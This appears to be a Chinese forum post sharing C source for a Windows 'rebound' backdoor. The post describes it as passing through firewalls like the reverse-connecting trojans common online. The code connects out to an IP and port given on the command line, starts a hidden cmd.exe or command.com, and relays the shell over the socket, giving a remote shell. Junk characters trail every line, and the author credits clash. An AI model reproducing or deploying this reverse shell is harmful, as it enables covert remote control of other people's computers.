这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== VqYe0-^=P
Rebound port in Windows NT cdEZ
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By wind,2006/7 ^M,Q<HL
===============================*/ g4-HUc zk
#include 7v=Nh
#include "}ZD-O`!
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#pragma comment(lib,"wsock32.lib") .e]!i(5I
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void OutputShell(); Y> 7/>x6
SOCKET sClient; LrK6*y,z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?=
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void main(int argc,char **argv) ';$2j~
{ vB#3jI
WSADATA stWsaData; Q+uYr-
int nRet; %Rg84tz
SOCKADDR_IN stSaiClient,stSaiServer; &&>OhH`
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if(argc != 3) ph3[}><6
{ Nf3Kz#!B
printf("Useage:\n\rRebound DestIP DestPort\n"); cG^'Qm
return; 0iHK1Pt}
} Ai/ay# E
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WSAStartup(MAKEWORD(2,2),&stWsaData); lRentNg0b
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tAaFIIvY
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stSaiClient.sin_family = AF_INET; o&X!75^G>
stSaiClient.sin_port = htons(0); kw1PIuz4&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); < FN[{YsA
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) lN^L#m*@
{ _-&Au%QNJ`
printf("Bind Socket Failed!\n"); RdvJA:;q
return; ]Nm_<%lT
} {mI95g&
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stSaiServer.sin_family = AF_INET; "Tfb d^AU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~>+}(%<,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0y6nMI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yyBfLPXZ
{ w~1K93/p!
printf("Connect Error!"); LN_6>u
return; dD!} P$
} |\elM[G"g
OutputShell(); wUl}x)xo
} "iOT14J!7
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void OutputShell() 9 ?h)U|J?G
{ =Y
/
char szBuff[1024]; Cee?%NaTS
SECURITY_ATTRIBUTES stSecurityAttributes; nCYicB
OSVERSIONINFO stOsversionInfo; <A!v'Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jcevpKkRG
STARTUPINFO stStartupInfo; #,GpZ
char *szShell; q.rn ZU
PROCESS_INFORMATION stProcessInformation; 4qiG>^h9
unsigned long lBytesRead; &Du!*V4A
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5\qoZs*e
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L?0dZY-"
stSecurityAttributes.lpSecurityDescriptor = 0; &]uhPx/
stSecurityAttributes.bInheritHandle = TRUE; ,mjwQ6:Ny
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FFP>Y*v(
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y{5ZC~Z<!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; orEwP/L:
stStartupInfo.wShowWindow = SW_HIDE; ?hsOhUs(5
stStartupInfo.hStdInput = hReadPipe; =>/aM7]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v#=-
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GetVersionEx(&stOsversionInfo); !.x(lOqf
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switch(stOsversionInfo.dwPlatformId) zFwp$K>{QY
{ V,{ydxfB
case 1: @S<=Okrlj
szShell = "command.com"; TzerAX^
break; @[.%A;E4
default: l}Jf;C*j1z
szShell = "cmd.exe"; kS3wa3bT
break; (<2PhJ|
} +KXg&A/^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); t\u0\l>
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send(sClient,szMsg,77,0); \jZvP`.2
while(1) ^!N _Nx/M
{ 6z!?U:bT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Zwp*JH+G
if(lBytesRead) RLecKw&1{3
{ VA.:'yQtJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vM|?;QM
send(sClient,szBuff,lBytesRead,0); n%W~+
} EKq9m=Ua@o
else >wz-p
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{ !:a
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lBytesRead=recv(sClient,szBuff,1024,0); ]J:?@}\^
if(lBytesRead<=0) break; UPUO8W)<Z6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `'.u$IBW
} A2$:p$[
} kcM9
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return; RcMW%q$dG
}